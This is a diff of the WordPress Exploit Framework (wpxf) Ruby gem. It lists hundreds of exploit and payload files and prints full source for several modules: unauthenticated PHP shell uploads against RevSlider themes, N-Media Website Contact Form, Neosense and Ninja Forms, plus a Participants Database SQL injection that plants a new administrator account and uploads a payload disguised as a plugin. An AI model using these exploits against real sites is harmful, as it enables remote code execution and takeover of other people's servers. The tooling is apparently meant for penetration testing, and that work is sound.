  327. data/lib/wpxf/modules/exploit/xss/reflected/quiz_and_survey_master_reflected_xss_shell_upload.rb +44 -0
  328. data/lib/wpxf/modules/exploit/xss/reflected/quotes_and_tips_reflected_xss_shell_upload.rb +20 -0
  329. data/lib/wpxf/modules/exploit/xss/reflected/quotes_collection_reflected_xss_shell_upload.rb +38 -0
  330. data/lib/wpxf/modules/exploit/xss/reflected/rating_bws_reflected_xss_shell_upload.rb +20 -0
  331. data/lib/wpxf/modules/exploit/xss/reflected/re_attacher_reflected_xss_shell_upload.rb +20 -0
  332. data/lib/wpxf/modules/exploit/xss/reflected/realty_reflected_xss_shell_upload.rb +20 -0
  333. data/lib/wpxf/modules/exploit/xss/reflected/registrationmagic_reflected_xss_shell_upload.rb +38 -0
  334. data/lib/wpxf/modules/exploit/xss/reflected/relevant_reflected_xss_shell_upload.rb +20 -0
  335. data/lib/wpxf/modules/exploit/xss/reflected/responsive_lightbox_reflected_xss_shell_upload.rb +39 -0
  336. data/lib/wpxf/modules/exploit/xss/reflected/rockhoist_badges_reflected_xss_shell_upload.rb +41 -0
  337. data/lib/wpxf/modules/exploit/xss/reflected/sender_reflected_xss_shell_upload.rb +20 -0
  338. data/lib/wpxf/modules/exploit/xss/reflected/simpel_reserveren_reflected_xss_shell_upload.rb +34 -0
  339. data/lib/wpxf/modules/exploit/xss/reflected/simple_slideshow_manager_reflected_xss_shell_upload.rb +39 -0
  340. data/lib/wpxf/modules/exploit/xss/reflected/slideshow_gallery_reflected_xss_shell_upload.rb +35 -0
  341. data/lib/wpxf/modules/exploit/xss/reflected/smart_marketing_xss_shell_upload.rb +37 -0
  342. data/lib/wpxf/modules/exploit/xss/reflected/social_buttons_pack_reflected_xss_shell_upload.rb +20 -0
  343. data/lib/wpxf/modules/exploit/xss/reflected/social_login_bws_reflected_xss_shell_upload.rb +20 -0
  344. data/lib/wpxf/modules/exploit/xss/reflected/social_pug_reflected_xss_shell_upload.rb +34 -0
  345. data/lib/wpxf/modules/exploit/xss/reflected/sp_project_document_manager_reflected_xss_shell_upload.rb +41 -0
  346. data/lib/wpxf/modules/exploit/xss/reflected/spamfree_reflected_xss_shell_upload.rb +44 -0
  347. data/lib/wpxf/modules/exploit/xss/reflected/spiffy_calendar_reflected_xss_shell_upload.rb +49 -0
  348. data/lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb +39 -0
  349. data/lib/wpxf/modules/exploit/xss/reflected/subscriber_reflected_xss_shell_upload.rb +20 -0
  350. data/lib/wpxf/modules/exploit/xss/reflected/tidio_gallery_reflected_xss_shell_upload.rb +34 -0
  351. data/lib/wpxf/modules/exploit/xss/reflected/timesheet_reflected_xss_shell_upload.rb +20 -0
  352. data/lib/wpxf/modules/exploit/xss/reflected/tracking_code_manager_reflected_xss_shell_upload.rb +34 -0
  353. data/lib/wpxf/modules/exploit/xss/reflected/tribulant_newsletter_reflected_xss_shell_upload.rb +39 -0
  354. data/lib/wpxf/modules/exploit/xss/reflected/tribulant_slideshow_gallery_reflected_xss_shell_upload.rb +34 -0
  355. data/lib/wpxf/modules/exploit/xss/reflected/trust_form_reflected_xss_shell_upload.rb +37 -0
  356. data/lib/wpxf/modules/exploit/xss/reflected/twitter_plugin_reflected_xss_shell_upload.rb +20 -0
  357. data/lib/wpxf/modules/exploit/xss/reflected/ultimate_csv_importer_reflected_xss_shell_upload.rb +83 -0
  358. data/lib/wpxf/modules/exploit/xss/reflected/ultimate_form_builder_lite_reflected_xss_shell_upload.rb +30 -0
  359. data/lib/wpxf/modules/exploit/xss/reflected/updater_reflected_xss_shell_upload.rb +20 -0
  360. data/lib/wpxf/modules/exploit/xss/reflected/user_access_manager_reflected_xss_shell_upload.rb +35 -0
  361. data/lib/wpxf/modules/exploit/xss/reflected/user_login_history_xss_shell_upload.rb +35 -0
  362. data/lib/wpxf/modules/exploit/xss/reflected/user_role_reflected_xss_shell_upload.rb +20 -0
  363. data/lib/wpxf/modules/exploit/xss/reflected/visitors_online_reflected_xss_shell_upload.rb +20 -0
  364. data/lib/wpxf/modules/exploit/xss/reflected/w3_total_cache_reflected_xss_shell_upload.rb +38 -0
  365. data/lib/wpxf/modules/exploit/xss/reflected/wang_guard_reflected_xss_shell_upload.rb +33 -0
  366. data/lib/wpxf/modules/exploit/xss/reflected/whizz_reflected_xss_shell_upload.rb +34 -0
  367. data/lib/wpxf/modules/exploit/xss/reflected/woo_email_control_reflected_xss_shell_upload.rb +41 -0
  368. data/lib/wpxf/modules/exploit/xss/reflected/wordpress_firewall_reflected_xss_shell_upload.rb +38 -0
  369. data/lib/wpxf/modules/exploit/xss/reflected/wp_advanced_importer_reflected_xss_shell_upload.rb +37 -0
  370. data/lib/wpxf/modules/exploit/xss/reflected/wp_filebase_download_manager_reflected_xss_shell_upload.rb +37 -0
  371. data/lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb +40 -0
  372. data/lib/wpxf/modules/exploit/xss/reflected/wp_mailster_reflected_xss_shell_upload.rb +38 -0
  373. data/lib/wpxf/modules/exploit/xss/reflected/wp_members_reflected_xss_shell_upload.rb +39 -0
  374. data/lib/wpxf/modules/exploit/xss/reflected/wp_retina_2x_xss_shell_upload.rb +39 -0
  375. data/lib/wpxf/modules/exploit/xss/reflected/wp_statistics_12.0.9_reflected_xss_shell_upload.rb +39 -0
  376. data/lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb +38 -0
  377. data/lib/wpxf/modules/exploit/xss/reflected/wp_v4.4_xss_shell_upload.rb +54 -0
  378. data/lib/wpxf/modules/exploit/xss/reflected/wp_whois_domain_reflected_xss_shell_upload.rb +41 -0
  379. data/lib/wpxf/modules/exploit/xss/reflected/wpsolr_reflected_xss_shell_upload.rb +34 -0
  380. data/lib/wpxf/modules/exploit/xss/reflected/yoast_seo_xss_shell_upload.rb +34 -0
  381. data/lib/wpxf/modules/exploit/xss/reflected/zurl_preview_xss_shell_upload.rb +38 -0
  382. data/lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb +172 -0
  383. data/lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb +208 -0
  384. data/lib/wpxf/modules/exploit/xss/stored/alo_easymail_csrf_xss_shell_upload.rb +48 -0
  385. data/lib/wpxf/modules/exploit/xss/stored/appointment_schedule_booking_system_stored_xss_shell_upload.rb +41 -0
  386. data/lib/wpxf/modules/exploit/xss/stored/arabic_font_csrf_stored_xss_shell_upload.rb +39 -0
  387. data/lib/wpxf/modules/exploit/xss/stored/caldera_forms_stored_xss_shell_upload.rb +38 -0
  388. data/lib/wpxf/modules/exploit/xss/stored/content_audit_csrf_stored_xss_shell_upload.rb +83 -0
  389. data/lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb +91 -0
  390. data/lib/wpxf/modules/exploit/xss/stored/dwnldr_xss_shell_upload.rb +58 -0
  391. data/lib/wpxf/modules/exploit/xss/stored/embed_comment_images_stored_xss_shell_upload.rb +57 -0
  392. data/lib/wpxf/modules/exploit/xss/stored/flickr_rss_csrf_xss_shell_upload.rb +38 -0
  393. data/lib/wpxf/modules/exploit/xss/stored/four04_to_three01_stored_xss_shell_upload.rb +50 -0
  394. data/lib/wpxf/modules/exploit/xss/stored/gwolle_guestbook_stored_xss_shell_upload.rb +47 -0
  395. data/lib/wpxf/modules/exploit/xss/stored/imageinject_csrf_xss_shell_upload.rb +53 -0
  396. data/lib/wpxf/modules/exploit/xss/stored/instagram_feed_csrf_stored_xss_shell_upload.rb +51 -0
  397. data/lib/wpxf/modules/exploit/xss/stored/ithemes_security_stored_xss_shell_upload.rb +40 -0
  398. data/lib/wpxf/modules/exploit/xss/stored/ithemes_security_v6.9.0_stored_xss_shell_upload.rb +40 -0
  399. data/lib/wpxf/modules/exploit/xss/stored/mdc_private_message_xss_shell_upload.rb +118 -0
  400. data/lib/wpxf/modules/exploit/xss/stored/newsletter_by_supsystic_csrf_stored_xss_shell_upload.rb +43 -0
  401. data/lib/wpxf/modules/exploit/xss/stored/participants_database_v1.7.5.9_stored_xss_shell_upload.rb +80 -0
  402. data/lib/wpxf/modules/exploit/xss/stored/safe_editor_xss_shell_upload.rb +60 -0
  403. data/lib/wpxf/modules/exploit/xss/stored/smart_google_code_inserter_xss_shell_upload.rb +39 -0
  404. data/lib/wpxf/modules/exploit/xss/stored/social_media_widget_csrf_xss_shell_upload.rb +39 -0
  405. data/lib/wpxf/modules/exploit/xss/stored/srbtranslatin_csrf_xss_shell_upload.rb +42 -0
  406. data/lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb +48 -0
  407. data/lib/wpxf/modules/exploit/xss/stored/ultimate_addons_for_vc_reflected_stored_xss_shell_upload.rb +37 -0
  408. data/lib/wpxf/modules/exploit/xss/stored/universal_analytics_authenticated_xss_shell_upload.rb +90 -0
  409. data/lib/wpxf/modules/exploit/xss/stored/user_login_log_authenticated_stored_xss_shell_upload.rb +45 -0
  410. data/lib/wpxf/modules/exploit/xss/stored/woo_custom_checkout_field_xss_shell_upload.rb +44 -0
  411. data/lib/wpxf/modules/exploit/xss/stored/wp_google_maps_stored_xss_shell_upload.rb +55 -0
  412. data/lib/wpxf/modules/exploit/xss/stored/wp_live_chat_support_stored_xss_shell_upload.rb +99 -0
  413. data/lib/wpxf/modules/exploit/xss/stored/wp_piwik_stored_xss_shell_upload.rb +36 -0
  414. data/lib/wpxf/modules/exploit/xss/stored/wp_v4.3_shortcode_xss_shell_upload.rb +55 -0
  415. data/lib/wpxf/net.rb +16 -0
  416. data/lib/wpxf/net/cookie_jar.rb +37 -0
  417. data/lib/wpxf/net/http_client.rb +206 -0
  418. data/lib/wpxf/net/http_options.rb +98 -0
  419. data/lib/wpxf/net/http_response.rb +44 -0
  420. data/lib/wpxf/net/http_server.rb +186 -0
  421. data/lib/wpxf/net/typhoeus_helper.rb +46 -0
  422. data/lib/wpxf/net/user_agent.rb +193 -0
  423. data/lib/wpxf/payloads/bind_php.rb +95 -0
  424. data/lib/wpxf/payloads/custom.rb +42 -0
  425. data/lib/wpxf/payloads/download_exec.rb +43 -0
  426. data/lib/wpxf/payloads/exec.rb +43 -0
  427. data/lib/wpxf/payloads/meterpreter_bind_tcp.rb +64 -0
  428. data/lib/wpxf/payloads/meterpreter_reverse_tcp.rb +50 -0
  429. data/lib/wpxf/payloads/reverse_tcp.rb +152 -0
  430. data/lib/wpxf/payloads/socket_helper.rb +50 -0
  431. data/lib/wpxf/utility.rb +12 -0
  432. data/lib/wpxf/utility/body_builder.rb +151 -0
  433. data/lib/wpxf/utility/reference_inflater.rb +34 -0
  434. data/lib/wpxf/utility/text.rb +81 -0
  435. data/lib/wpxf/versioning.rb +11 -0
  436. data/lib/wpxf/versioning/browser_versions.rb +56 -0
  437. data/lib/wpxf/versioning/os_versions.rb +18 -0
  438. data/lib/wpxf/wordpress.rb +24 -0
  439. data/lib/wpxf/wordpress/comments.rb +89 -0
  440. data/lib/wpxf/wordpress/file_download.rb +168 -0
  441. data/lib/wpxf/wordpress/fingerprint.rb +238 -0
  442. data/lib/wpxf/wordpress/hash_dump.rb +264 -0
  443. data/lib/wpxf/wordpress/login.rb +60 -0
  444. data/lib/wpxf/wordpress/options.rb +27 -0
  445. data/lib/wpxf/wordpress/plugin.rb +102 -0
  446. data/lib/wpxf/wordpress/posts.rb +26 -0
  447. data/lib/wpxf/wordpress/reflected_xss.rb +40 -0
  448. data/lib/wpxf/wordpress/shell_upload.rb +172 -0
  449. data/lib/wpxf/wordpress/staged_reflected_xss.rb +82 -0
  450. data/lib/wpxf/wordpress/stored_xss.rb +73 -0
  451. data/lib/wpxf/wordpress/urls.rb +131 -0
  452. data/lib/wpxf/wordpress/user.rb +35 -0
  453. data/lib/wpxf/wordpress/xss.rb +143 -0
  454. data/wpxf.gemspec +33 -0
  455. metadata +708 -0
@@ -0,0 +1,15 @@
1
+ # frozen_string_literal: true
2
+
3
+ class Wpxf::Exploit::ModularRevsliderShellUpload < Wpxf::Exploit::RevsliderShellUpload
4
+ def initialize
5
+ super
6
+
7
+ update_info(
8
+ name: 'Modular Theme RevSlider <= 3.0.95 Shell Upload',
9
+ desc: 'This module exploits a file upload vulnerability in versions of '\
10
+ 'the Modular theme that include versions <= 3.0.95 of the '\
11
+ 'RevSlider plugin which allows unauthenticated users to upload '\
12
+ 'and execute PHP scripts in the context of the web server.'
13
+ )
14
+ end
15
+ end
@@ -0,0 +1,15 @@
1
+ # frozen_string_literal: true
2
+
3
+ class Wpxf::Exploit::MyriadRevsliderShellUpload < Wpxf::Exploit::RevsliderShellUpload
4
+ def initialize
5
+ super
6
+
7
+ update_info(
8
+ name: 'Myriad Theme RevSlider <= 3.0.95 Shell Upload',
9
+ desc: 'This module exploits a file upload vulnerability in versions of '\
10
+ 'the Myriad theme that include versions <= 3.0.95 of the '\
11
+ 'RevSlider plugin which allows unauthenticated users to upload '\
12
+ 'and execute PHP scripts in the context of the web server.'
13
+ )
14
+ end
15
+ end
@@ -0,0 +1,82 @@
1
+ # frozen_string_literal: true
2
+
3
+ class Wpxf::Exploit::NMediaWebsiteContactFormShellUpload < Wpxf::Module
4
+ include Wpxf
5
+
6
+ def initialize
7
+ super
8
+
9
+ update_info(
10
+ name: 'N-Media Website Contact Form <= 1.3.4 Shell Upload',
11
+ desc: 'This module exploits a file upload vulnerability in versions '\
12
+ '<= 1.3.4 of the N-Media Website Contact Form plugin which '\
13
+ 'allows unauthenticated users to upload and execute PHP scripts '\
14
+ 'in the context of the web server.',
15
+ author: [
16
+ 'Claudio Viviani', # Vulnerability discovery
17
+ 'rastating' # WPXF module
18
+ ],
19
+ references: [
20
+ ['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],
21
+ ['WPVDB', '7896']
22
+ ],
23
+ date: 'Apr 12 2015'
24
+ )
25
+ end
26
+
27
+ def check
28
+ check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4')
29
+ end
30
+
31
+ def payload_body_builder(payload_name)
32
+ builder = Utility::BodyBuilder.new
33
+ builder.add_file_from_string('Filedata', payload.encoded, payload_name)
34
+ builder.add_field('action', 'nm_webcontact_upload_file')
35
+ builder
36
+ end
37
+
38
+ def run
39
+ return false unless super
40
+
41
+ emit_info 'Preparing payload...'
42
+ payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
43
+ builder = payload_body_builder(payload_name)
44
+
45
+ emit_info 'Uploading payload...'
46
+ res = nil
47
+ builder.create do |body|
48
+ res = execute_post_request(url: wordpress_url_admin_ajax, body: body)
49
+ end
50
+
51
+ if res.nil? || res.timed_out?
52
+ emit_error 'No response from the target'
53
+ return false
54
+ end
55
+
56
+ if res.code != 200 || res.body !~ /filename/i
57
+ emit_info "Response code: #{res.code}", true
58
+ emit_info "Response body: #{res.body}", true
59
+ emit_error 'Failed to upload payload'
60
+ return false
61
+ end
62
+
63
+ begin
64
+ stored_name = JSON.parse(res.body)['filename']
65
+ rescue StandardError => e
66
+ emit_info "Response body: #{res.body}", true
67
+ emit_error "Failed to parse response: #{e}"
68
+ return false
69
+ end
70
+
71
+ payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', stored_name)
72
+ emit_success "Uploaded the payload to #{payload_url}", true
73
+
74
+ emit_info 'Executing the payload...'
75
+ res = execute_get_request(url: payload_url)
76
+ if res && res.code == 200 && !res.body.strip.empty?
77
+ emit_success "Result: #{res.body}"
78
+ end
79
+
80
+ return true
81
+ end
82
+ end
@@ -0,0 +1,45 @@
1
+ # frozen_string_literal: true
2
+
3
+ class Wpxf::Exploit::NMediaWebsiteContactFormV19ShellUpload < Wpxf::Module
4
+ include Wpxf::WordPress::ShellUpload
5
+
6
+ def initialize
7
+ super
8
+
9
+ update_info(
10
+ name: 'N-Media Website Contact Form >= 1.9 Shell Upload',
11
+ author: [
12
+ 'White Fir Design', # Vulnerability discovery
13
+ 'rastating' # WPXF module
14
+ ],
15
+ references: [
16
+ ['URL', 'https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-n-media-website-contact-form-with-file-upload/'],
17
+ ['WPVDB', '8623']
18
+ ],
19
+ date: 'Sep 19 2016'
20
+ )
21
+ end
22
+
23
+ def check
24
+ check_plugin_version_from_readme('website-contact-form-with-file-upload', nil, '1.9')
25
+ end
26
+
27
+ def payload_body_builder
28
+ builder = Utility::BodyBuilder.new
29
+ builder.add_file_from_string('file', payload.encoded, payload_name)
30
+ builder.add_field('name', payload_name)
31
+ builder.add_field('action', 'nm_webcontact_upload_file')
32
+ builder
33
+ end
34
+
35
+ def uploader_url
36
+ wordpress_url_admin_ajax
37
+ end
38
+
39
+ def uploaded_payload_location
40
+ stored_name = JSON.parse(upload_result.body)['file_name']
41
+ return normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', stored_name)
42
+ rescue StandardError => e
43
+ raise "Failed to parse response: #{e}"
44
+ end
45
+ end
@@ -0,0 +1,41 @@
1
+ # frozen_string_literal: true
2
+
3
+ class Wpxf::Exploit::NeosenseShellUpload < Wpxf::Module
4
+ include Wpxf::WordPress::ShellUpload
5
+
6
+ def initialize
7
+ super
8
+
9
+ update_info(
10
+ name: 'Neosense Theme <= 1.7 Unauthenticated Shell Upload',
11
+ author: [
12
+ 'Walter Hop', # Discovery and disclosure
13
+ 'rastating' # WPXF module
14
+ ],
15
+ references: [
16
+ ['WPVDB', '8622'],
17
+ ['URL', 'https://lifeforms.nl/20160919/unrestricted-upload-neosense']
18
+ ],
19
+ date: 'Sep 19 2016'
20
+ )
21
+ end
22
+
23
+ def check
24
+ check_theme_version_from_style('neosense', '1.8')
25
+ end
26
+
27
+ def uploader_url
28
+ normalize_uri(wordpress_url_themes, 'neosense', 'js', 'back-end', 'libraries', 'fileuploader', 'upload_handler.php')
29
+ end
30
+
31
+ def payload_body_builder
32
+ builder = Utility::BodyBuilder.new
33
+ builder.add_file_from_string('qqfile', payload.encoded, payload_name)
34
+ builder
35
+ end
36
+
37
+ def uploaded_payload_location
38
+ result = JSON.parse(upload_result.body)
39
+ result['url']
40
+ end
41
+ end
@@ -0,0 +1,83 @@
1
+ # frozen_string_literal: true
2
+
3
+ class Wpxf::Exploit::NinjaFormsUnauthenticatedShellUpload < Wpxf::Module
4
+ include Wpxf::WordPress::ShellUpload
5
+
6
+ def initialize
7
+ super
8
+
9
+ update_info(
10
+ name: 'Ninja Forms 2.9.36 to 2.9.42 Unauthenticated Shell Upload',
11
+ author: [
12
+ 'James Golovich', # Discovery and disclosure
13
+ 'rastating' # WPXF module
14
+ ],
15
+ references: [
16
+ ['CVE', '2016-1209'],
17
+ ['WPVDB', '8485'],
18
+ ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
19
+ ],
20
+ date: 'May 04 2016'
21
+ )
22
+
23
+ register_options([
24
+ StringOption.new(
25
+ name: 'form_path',
26
+ desc: 'The relative path of the page that hosts any form served by Ninja Forms',
27
+ required: true
28
+ )
29
+ ])
30
+ end
31
+
32
+ def check
33
+ check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
34
+ end
35
+
36
+ def uploader_url
37
+ wordpress_url_admin_ajax
38
+ end
39
+
40
+ def payload_body_builder
41
+ builder = Utility::BodyBuilder.new
42
+ builder.add_field('action', 'nf_async_upload')
43
+ builder.add_field('security', ninja_form_nonce)
44
+ builder.add_file_from_string(Utility::Text.rand_alpha(5), payload.encoded, payload_name)
45
+ builder
46
+ end
47
+
48
+ def uploaded_payload_location
49
+ normalize_uri(wordpress_url_uploads, "nftmp-#{payload_name.downcase}")
50
+ end
51
+
52
+ def fetch_ninja_form_nonce
53
+ res = execute_get_request(url: normalize_uri(full_uri, datastore['form_path']))
54
+ return false unless res && res.code == 200
55
+ @ninja_form_nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1]
56
+ @ninja_form_nonce
57
+ end
58
+
59
+ def before_upload
60
+ # Enable the v3 functionality.
61
+ emit_info 'Enabling vulnerable V3 functionality...'
62
+ execute_get_request(url: full_uri, params: { 'nf-switcher' => 'upgrade' })
63
+
64
+ # Fetch a nonce for the upload.
65
+ emit_info 'Fetching Ninja Form nonce...'
66
+ unless fetch_ninja_form_nonce
67
+ emit_error 'Failed to acquire a valid nonce'
68
+ emit_error "Ensure that #{normalize_uri(full_uri, datastore['form_path'])} contains a valid form"
69
+ return false
70
+ end
71
+ emit_success "Nonce acquired: #{ninja_form_nonce}", true
72
+
73
+ super
74
+ end
75
+
76
+ def cleanup
77
+ # Disable the v3 functionality.
78
+ execute_get_request(url: full_uri, params: { 'nf-switcher' => 'rollback' })
79
+ super
80
+ end
81
+
82
+ attr_reader :ninja_form_nonce
83
+ end
@@ -0,0 +1,153 @@
1
+ # frozen_string_literal: true
2
+
3
+ class Wpxf::Exploit::ParticipantsDatabaseV1548ShellUpload < Wpxf::Module
4
+ include Wpxf
5
+ include Wpxf::WordPress::Plugin
6
+
7
+ def initialize
8
+ super
9
+
10
+ update_info(
11
+ name: 'Participants Database <= 1.5.4.8 Shell Upload',
12
+ desc: %(
13
+ In versions <= 1.5.4.8 of the Participants Database, anonymous users
14
+ are able to execute arbitrary SQL statements. This module utilises
15
+ this vulnerability to create a new admin user and upload a payload
16
+ masked as a plugin.
17
+ ),
18
+ author: [
19
+ 'Yarubo Research Team', # Vulnerability discovery
20
+ 'rastating' # WPXF module
21
+ ],
22
+ references: [
23
+ ['CVE', '2014-3961'],
24
+ ['WPVDB', '7247'],
25
+ ['EDB', '33613']
26
+ ],
27
+ date: 'Aug 01 2014'
28
+ )
29
+
30
+ register_options([
31
+ StringOption.new(
32
+ name: 'sign_up_path',
33
+ desc: 'The relative path of the Participants Database sign up page',
34
+ required: true
35
+ ),
36
+ StringOption.new(
37
+ name: 'wp_prefix',
38
+ desc: 'The database table prefix. Default: wp_',
39
+ required: true,
40
+ default: 'wp_'
41
+ ),
42
+ IntegerOption.new(
43
+ name: 'user_id',
44
+ desc: 'The ID number to use for the new admin account',
45
+ required: true,
46
+ default: (60_000..90_000).to_a.sample
47
+ ),
48
+ StringOption.new(
49
+ name: 'username',
50
+ desc: 'The username to use for the new admin account',
51
+ required: true,
52
+ default: Utility::Text.rand_alpha(6)
53
+ ),
54
+ StringOption.new(
55
+ name: 'password',
56
+ desc: 'The password to use for the new admin account',
57
+ required: true,
58
+ default: Utility::Text.rand_alpha(6)
59
+ ),
60
+ StringOption.new(
61
+ name: 'email',
62
+ desc: 'The e-mail address to use for the new admin account',
63
+ required: true,
64
+ default: Utility::Text.rand_email
65
+ )
66
+ ])
67
+ end
68
+
69
+ def check
70
+ check_plugin_version_from_readme('participants-database', '1.5.4.9')
71
+ end
72
+
73
+ def sign_up_url
74
+ normalize_uri(full_uri, datastore['sign_up_path'])
75
+ end
76
+
77
+ def user_id
78
+ normalized_option_value('user_id')
79
+ end
80
+
81
+ def hexified_username
82
+ "0x#{Utility::Text.hexify_string(datastore['username'])}"
83
+ end
84
+
85
+ def password_hash
86
+ Utility::Text.md5(datastore['password'])
87
+ end
88
+
89
+ def hexified_password_hash
90
+ "0x#{Utility::Text.hexify_string(password_hash)}"
91
+ end
92
+
93
+ def hexified_email
94
+ "0x#{Utility::Text.hexify_string(datastore['email'])}"
95
+ end
96
+
97
+ def table_name(name)
98
+ "#{datastore['wp_prefix']}#{name}"
99
+ end
100
+
101
+ def new_user_sql
102
+ [
103
+ "insert into #{table_name('users')}",
104
+ '(ID, user_login, user_pass, user_nicename, user_email, user_status, display_name)',
105
+ 'values',
106
+ "(#{user_id}, #{hexified_username}, #{hexified_password_hash}, #{hexified_username}, #{hexified_email}, 0, #{hexified_username});"
107
+ ].join(' ')
108
+ end
109
+
110
+ def user_meta_sql(key, value)
111
+ [
112
+ "insert into #{table_name('usermeta')}",
113
+ '(user_id, meta_key, meta_value) values',
114
+ "(#{user_id}, 0x#{Utility::Text.hexify_string(key)}, 0x#{Utility::Text.hexify_string(value)})"
115
+ ].join(' ')
116
+ end
117
+
118
+ def execute_sql_query(query)
119
+ builder = Utility::BodyBuilder.new
120
+ builder.add_field('action', 'output CSV')
121
+ builder.add_field('subsource', 'participants-database')
122
+ builder.add_field('CSV_type', 'participant list')
123
+ builder.add_field('query', query)
124
+
125
+ builder.create do |body|
126
+ execute_post_request(url: sign_up_url, body: body)
127
+ end
128
+ end
129
+
130
+ def update_user_meta(key, value)
131
+ execute_sql_query(user_meta_sql(key, value))
132
+ end
133
+
134
+ def execute_payload
135
+ emit_info 'Uploading the payload...'
136
+ cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
137
+ res = upload_payload_as_plugin_and_execute(Utility::Text.rand_alpha(6), Utility::Text.rand_alpha(6), cookie)
138
+ res&.code != 404
139
+ end
140
+
141
+ def run
142
+ return false unless super
143
+
144
+ emit_info 'Creating a new user...'
145
+ execute_sql_query(new_user_sql)
146
+
147
+ emit_info 'Elevating user privileges...'
148
+ update_user_meta('wp_user_level', '10')
149
+ update_user_meta('wp_capabilities', 'a:1:{s:13:"administrator";b:1;}')
150
+
151
+ execute_payload
152
+ end
153
+ end
@@ -0,0 +1,15 @@
1
+ # frozen_string_literal: true
2
+
3
+ class Wpxf::Exploit::PersuasionRevsliderShellUpload < Wpxf::Exploit::RevsliderShellUpload
4
+ def initialize
5
+ super
6
+
7
+ update_info(
8
+ name: 'Persuasion Theme RevSlider <= 3.0.95 Shell Upload',
9
+ desc: 'This module exploits a file upload vulnerability in versions of '\
10
+ 'the Persuasion theme that include versions <= 3.0.95 of the '\
11
+ 'RevSlider plugin which allows unauthenticated users to upload '\
12
+ 'and execute PHP scripts in the context of the web server.'
13
+ )
14
+ end
15
+ end